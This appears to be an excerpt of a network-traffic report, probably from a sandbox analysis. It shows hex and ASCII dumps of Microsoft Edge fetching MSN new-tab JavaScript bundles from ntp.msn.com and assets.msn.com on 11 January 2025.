Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E13EAEDB8C404979B701ACCDB2EB02D8 Ref B: CHI30EDGE0318 Ref C: 2025-01-11T06:54:29Z Date: Sat, 11 Jan 2025 06:54:29 GMT Connection: close
2025-01-11 06:54:29 UTC	14937	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 7d 3b 6c 65 74 20 74 2c 6e 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 3b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 72 65 74 75 72 6e 20 6e 3d 28 28 2f 66 3a 5c 73 2a 28 5b 5e 3b 5d 2b 29 2f 69 2e 65 78 65 63 28 65 29 7c 7c 7b 7d 29 5b 31 5d 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 7d 65 2e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 54 68 69 73 3b 74 72 79 7b 72 65 74 75 72 6e Data Ascii: !function(){"use strict";var e={};let t,n;function o(){if(n)return n;const e=document.head.getAttribute("data-info");return n=((/f:\s*([^;]+)/i.exec(e)\|\|{})[1]\|\|"").toLowerCase(),n}e.g=function(){if("object"==typeof globalThis)return globalThis;try{return
2025-01-11 06:54:29 UTC	16384	IN	Data Raw: 72 65 66 65 72 65 72 2c 74 68 69 73 2e 75 73 65 72 41 67 65 6e 74 3d 65 2e 75 73 65 72 41 67 65 6e 74 2c 74 68 69 73 2e 63 6c 69 65 6e 74 44 61 74 61 3d 65 2e 63 6c 69 65 6e 74 44 61 74 61 2c 74 68 69 73 2e 6f 6e 65 53 65 72 76 69 63 65 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 69 66 28 65 29 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 65 2e 6f 6e 65 53 65 72 76 69 63 65 48 65 61 64 65 72 73 29 7c 7c 7b 7d 2c 74 68 69 73 2e 69 73 50 73 73 72 4d 6f 64 65 3d 74 2c 74 29 7b 63 6f 6e 73 74 20 65 3d 77 65 28 22 4f 53 41 54 45 22 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 29 2c 74 3d 21 21 65 26 26 22 31 22 3d 3d 3d 65 2c 6e 3d 77 65 28 22 4f 53 41 54 22 2c 74 68 69 73 2e 63 6f 6f 6b Data Ascii: referer,this.userAgent=e.userAgent,this.clientData=e.clientData,this.oneServiceHeaders=function(e){try{if(e)return JSON.parse(e)}catch(e){}}(e.oneServiceHeaders)\|\|{},this.isPssrMode=t,t){const e=we("OSATE",this.cookie),t=!!e&&"1"===e,n=we("OSAT",this.cook
2025-01-11 06:54:29 UTC	6850	IN	Data Raw: 6c 3d 3d 3d 28 6d 3d 6d 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 7c 7c 6e 75 6c 6c 3d 3d 3d 28 6d 3d 6d 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 63 73 2d 63 61 72 64 22 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 3f 76 6f 69 64 20 30 3a 6d 2e 6f 75 74 65 72 48 54 4d 4c 29 7c 7c 22 22 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 5f 28 22 41 64 20 72 65 6e 64 65 72 20 64 6f 65 73 6e 27 74 20 6d 61 74 63 68 20 73 73 72 20 61 64 20 64 61 74 61 22 2c 32 30 31 39 33 2c 7b 72 65 6e 64 65 72 65 64 43 61 72 64 54 61 67 73 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 73 29 2c 61 64 44 61 74 61 49 64 3a 65 2e 69 64 2c 72 65 6e 64 65 72 65 64 49 64 3a 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 61 29 7d 29 7d 7d 77 69 6e 64 6f 77 2e Data Ascii: l===(m=m.shadowRoot)\|\|void 0===m\|\|null===(m=m.querySelector("cs-card"))\|\|void 0===m?void 0:m.outerHTML)\|\|"";return void _("Ad render doesn't match ssr ad data",20193,{renderedCardTags:JSON.stringify(s),adDataId:e.id,renderedId:JSON.stringify(a)})}}window.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.11.20	52413	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:29 UTC	1201	OUT	GET /bundles/v1/edgeChromium/latest/web-worker.059504d3b28965aa7c6d.js HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Device-Memory: 8 sec-ch-ua-model: rtt: 100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-platform-version: "10.0.0" downlink: 1.5 sec-ch-ua-bitness: "64" ect: 4g sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_ETH=1; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1
2025-01-11 06:54:30 UTC	1408	IN	HTTP/1.1 200 OK Cache-Control: public, no-transform, max-age=31535892 Content-Length: 31123 Content-Type: application/javascript Content-MD5: A1HeHhArkxY7qYLgv0/anQ== Last-Modified: Fri, 10 Jan 2025 20:39:49 GMT ETag: 0x8DD31B6EDA6A832 Vary: Origin X-Cache: TCP_HIT x-ms-request-id: ec03f19a-e01e-0098-549f-639b1c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.36.176.72,b=683974276,c=g,n=US_IL_ELKGROVEVILLAGE,o=20940],[c=c,n=US_IL_CHICAGO,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=16, origin; dur=0, cdntime; dur=16, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Miss from child, Hit from parent Akamai-Server-IP: 23.36.176.72 Akamai-Request-ID: 28c49e84 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.48b02417.1736542488.28c49e84 X-CID: 7 X-CCC: US Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 5B95A991E07F4CAAB9A6D26A29329073 Ref B: CHI30EDGE0415 Ref C: 2025-01-11T06:54:30Z Date: Sat, 11 Jan 2025 06:54:29 GMT Connection: close
2025-01-11 06:54:30 UTC	14976	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 72 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 72 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 69 5d 3d 72 5b 69 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 Data Ascii: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var r=t();for(var i in r)("object"==typeof exports?exports:e)[i]=r[i]}}(self,(()=>(()=>{"use strict";var
2025-01-11 06:54:30 UTC	16147	IN	Data Raw: 5f 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 3d 70 61 72 73 65 49 6e 74 28 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 64 65 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 22 29 29 7c 7c 31 2c 74 68 69 73 2e 5f 65 63 61 73 65 73 73 69 6f 6e 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 65 63 61 73 65 73 73 69 6f 6e 22 29 7c 7c 22 69 6e 69 74 22 2c 74 68 69 73 2e 5f 62 72 6f 77 73 65 72 4f 70 74 4f 75 74 3d 22 31 22 3d 3d 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 54 4f 70 74 4f 75 74 22 29 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 57 57 41 75 74 68 3d 22 31 22 3d 3d 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 64 69 73 61 62 6c 65 57 57 Data Ascii: _devicePixelRatio=parseInt(this.getQueryParameter("devicePixelRatio"))\|\|1,this._ecasession=this.getQueryParameter("ecasession")\|\|"init",this._browserOptOut="1"===this.getQueryParameter("TOptOut"),this._disableWWAuth="1"===this.getQueryParameter("disableWW

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.11.20	52161	23.45.46.202	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	616	OUT	GET /bundles/v1/edgeChromium/latest/vendors.80e71276f1bec5cb9e6b.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:30 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: VRff421ljxi2HJNBEW61bQ== Last-Modified: Tue, 07 Jan 2025 21:00:23 GMT ETag: 0x8DD2F5E4DF24BF2 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 4c08f139-901e-006a-3247-612a47000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 11 Jan 2025 06:54:30 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.208.24.74,b=3495913665,c=g,n=US_IL_CHICAGO,o=20940] Server-Timing: clientrtt; dur=118, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.208.24.74 Akamai-Request-ID: d05f68c1 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.4a18d017.1736578470.d05f68c1 Vary: Origin
2025-01-11 06:54:30 UTC	15145	IN	Data Raw: 30 30 30 30 42 44 30 32 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 38 30 65 37 31 32 37 36 66 31 62 65 63 35 63 62 39 65 36 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 0000BD02/! For license information please see vendors.80e71276f1bec5cb9e6b.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2025-01-11 06:54:30 UTC	16265	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 Data Ascii: ion(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice(
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 26 26 64 65 28 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 29 26 26 28 5f 74 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 3d 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 74 74 72 69 62 75 74 65 4e 61 6d 65 43 68 65 63 6b 29 2c 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 26 26 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 65 2e 43 55 53 54 4f 4d 5f 45 4c 45 4d 45 4e 54 5f 48 41 4e 44 4c 49 4e 47 2e 61 6c 6c 6f 77 43 75 73 74 6f 6d 69 7a 65 64 42 75 69 6c 74 49 6e 45 6c 65 6d 65 6e 74 73 26 26 28 5f 74 2e 61 6c 6c 6f 77 Data Ascii: USTOM_ELEMENT_HANDLING&&de(e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck)&&(_t.attributeNameCheck=e.CUSTOM_ELEMENT_HANDLING.attributeNameCheck),e.CUSTOM_ELEMENT_HANDLING&&"boolean"==typeof e.CUSTOM_ELEMENT_HANDLING.allowCustomizedBuiltInElements&&(_t.allow
2025-01-11 06:54:30 UTC	604	IN	Data Raw: 6c 22 21 3d 74 79 70 65 6f 66 20 65 26 26 28 65 3d 74 29 2c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 3d 6e 26 26 28 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 5b 65 5d 7d 29 2c 5b 74 2c 65 5d 7d 28 74 2c 65 29 29 7d 2c 41 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 65 3d 6e 65 77 20 41 72 72 61 79 28 74 29 2c 6e 3d 30 3b 6e 3c 74 3b 6e 2b 2b 29 65 5b 6e 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6e 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 74 2e 61 70 70 6c 79 28 76 6f 69 64 20 30 2c 61 72 67 75 6d 65 6e 74 73 29 3b 72 65 74 75 72 6e 20 6e 2e 73 75 62 73 70 61 63 65 4f 70 74 69 6f Data Ascii: l"!=typeof e&&(e=t),"function"!==n&&(t=function(t){return t[e]}),[t,e]}(t,e))},A=function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return function(t){return function(){var n=t.apply(void 0,arguments);return n.subspaceOptio
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 3d 7b 49 4e 49 54 3a 22 40 40 72 65 64 75 78 2f 49 4e 49 54 22 2b 69 28 29 2c 52 45 50 4c 41 43 45 3a 22 40 40 72 65 64 75 78 2f 52 45 50 4c 41 43 45 22 2b 69 28 29 2c 50 52 4f 42 45 5f 55 4e 4b 4e 4f 57 4e 5f 41 43 54 49 4f 4e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 40 40 72 65 64 75 78 2f 50 52 4f 42 45 5f 55 4e 4b 4e 4f 57 4e 5f 41 43 54 49 4f 4e 22 2b 69 28 29 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 75 28 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 7c 7c 6e 75 6c 6c 3d 3d 3d 74 29 72 65 74 75 72 6e 21 31 3b 66 6f 72 28 76 61 72 20 65 3d 74 3b 6e 75 6c 6c 21 3d 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 29 3b 29 65 3d 4f 62 6a 65 63 74 2e 67 65 74 50 Data Ascii: 00004000o={INIT:"@@redux/INIT"+i(),REPLACE:"@@redux/REPLACE"+i(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+i()}};function u(t){if("object"!=typeof t\|\|null===t)return!1;for(var e=t;null!==Object.getPrototypeOf(e);)e=Object.getP
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 6f 64 65 55 52 49 43 6f 6d 70 0d 0a Data Ascii: odeURIComp
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 6e 65 6e 74 29 2e 72 65 70 6c 61 63 65 28 2f 5b 28 29 5d 2f 67 2c 65 73 63 61 70 65 29 3b 76 61 72 20 75 3d 22 22 3b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 6f 29 6f 5b 63 5d 26 26 28 75 2b 3d 22 3b 20 22 2b 63 2c 21 30 21 3d 3d 6f 5b 63 5d 26 26 28 75 2b 3d 22 3d 22 2b 6f 5b 63 5d 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 29 29 3b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 74 2b 22 3d 22 2b 65 2e 77 72 69 74 65 28 69 2c 74 29 2b 75 7d 7d 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 7b 73 65 74 3a 69 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 28 21 61 72 67 75 6d 65 6e 74 73 Data Ascii: 00004000onent).replace(/[()]/g,escape);var u="";for(var c in o)o[c]&&(u+="; "+c,!0!==o[c]&&(u+="="+o[c].split(";")[0]));return document.cookie=t+"="+e.write(i,t)+u}}return Object.create({set:i,get:function(t){if("undefined"!=typeof document&&(!arguments
2025-01-11 06:54:30 UTC	12	IN	Data Raw: 26 26 28 30 2c 69 2e 5a 29 28 0d 0a Data Ascii: &&(0,i.Z)(
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 30 30 30 30 39 46 34 42 0d 0a 74 2c 65 2c 6e 29 7d 2c 63 3d 6e 28 31 34 32 31 31 29 2c 61 3d 6e 28 37 37 34 30 38 29 2c 73 3d 6e 28 39 37 35 35 38 29 2c 66 3d 6e 28 33 32 32 39 31 29 2c 6c 3d 6e 28 31 37 32 35 37 29 2c 64 3d 6e 28 38 34 34 33 31 29 2c 70 3d 6e 28 39 32 31 37 30 29 2c 76 3d 6e 28 35 39 34 37 32 29 2c 68 3d 6e 28 36 32 32 34 36 29 2c 67 3d 6e 28 32 36 31 39 29 2c 6d 3d 6e 28 39 36 32 38 38 29 2c 79 3d 6e 28 34 34 31 39 39 29 2c 5a 3d 6e 28 37 30 37 37 30 29 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 28 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 21 3d 3d 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 5b 65 5d 29 26 26 22 5f 5f 70 72 6f 74 6f 5f 5f 22 21 3d 65 29 72 65 74 75 72 6e 20 74 5b 65 5d Data Ascii: 00009F4Bt,e,n)},c=n(14211),a=n(77408),s=n(97558),f=n(32291),l=n(17257),d=n(84431),p=n(92170),v=n(59472),h=n(62246),g=n(2619),m=n(96288),y=n(44199),Z=n(70770);var b=function(t,e){if(("constructor"!==e\|\|"function"!=typeof t[e])&&"__proto__"!=e)return t[e]
2025-01-11 06:54:30 UTC	16384	IN	Data Raw: 72 6e 22 30 22 3d 3d 65 26 26 31 2f 74 3d 3d 2d 49 6e 66 69 6e 69 74 79 3f 22 2d 30 22 3a 65 7d 7d 2c 33 37 33 31 31 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 6e 75 6c 6c 21 3d 74 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 2e 63 61 6c 6c 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 74 72 79 7b 72 65 74 75 72 6e 20 74 2b 22 22 7d 63 61 74 63 68 28 74 29 7b 7d 7d 72 65 74 75 72 6e 22 22 7d 7d 2c 32 35 32 34 38 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 2f 5c 73 2f 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: rn"0"==e&&1/t==-Infinity?"-0":e}},37311:function(t,e){"use strict";var n=Function.prototype.toString;e.Z=function(t){if(null!=t){try{return n.call(t)}catch(t){}try{return t+""}catch(t){}}return""}},25248:function(t,e){"use strict";var n=/\s/;e.Z=function(

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.11.20	52865	23.45.46.202	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:30 UTC	618	OUT	GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-11 06:54:30 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: uNgSH4TlVfgPvcJyj5sBtQ== Last-Modified: Wed, 08 Jan 2025 20:48:39 GMT ETag: 0x8DD3025D488700A Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: b88f42eb-e01e-0103-1927-624576000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 11 Jan 2025 06:54:30 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.208.24.82,b=3069603041,c=g,n=US_IL_CHICAGO,o=20940] Server-Timing: clientrtt; dur=118, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.208.24.82 Akamai-Request-ID: b6f66ce1 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.5218d017.1736578470.b6f66ce1 Vary: Origin
2025-01-11 06:54:30 UTC	15145	IN	Data Raw: 30 30 30 30 41 33 39 38 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 6d 69 63 72 6f 73 6f 66 74 2e 37 66 63 33 31 30 39 37 36 39 33 39 30 65 30 66 37 39 31 32 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 69 63 72 6f 73 6f 66 74 22 5d 2c 7b 36 33 31 36 35 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 65 2c 7b 5a 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 41 7d 7d 29 3b 76 Data Ascii: 0000A398/! For license information please see microsoft.7fc3109769390e0f7912.js.LICENSE.txt 